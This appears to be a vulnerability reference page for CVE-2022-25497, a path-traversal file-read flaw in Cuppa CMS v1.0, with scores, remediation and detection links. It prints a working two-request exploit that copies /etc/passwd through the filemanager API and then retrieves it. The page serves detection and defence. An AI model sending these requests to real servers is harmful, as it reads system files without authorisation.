🔙 목록으로 돌아가기

CVE-2022-25497: Cuppa CMS v1.0 - Local File Inclusion

TitleCuppa CMS v1.0 - Local File Inclusion
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
RemediationUpgrade to the latest version of Cuppa CMS or apply the provided patch to fix the LFI vulnerability.
CVSS Score5.3
EPSS Score0.22187
CVE IDCVE-2022-25497
CWE IDCWE-552
Tags cve cve2022 lfi cuppa intrusive cuppacms vuln

🔍 Vulnerability Description

CuppaCMS v1.0 was discovered to contain an arbitrary file read via the copy function.

🌐 HTTP Request

POST /js/filemanager/api/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Connection: close
Content-Length: 125
Content-Type: application/json
Accept-Encoding: gzip

{"from":"//../../../../../../../../../../../../../etc/passwd","to":"/../38F7yXbm3ruqlyDQOzN4Wvo5aEV.txt","action":"copyFile"}
GET /38F7yXbm3ruqlyDQOzN4Wvo5aEV.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25497.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25497.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A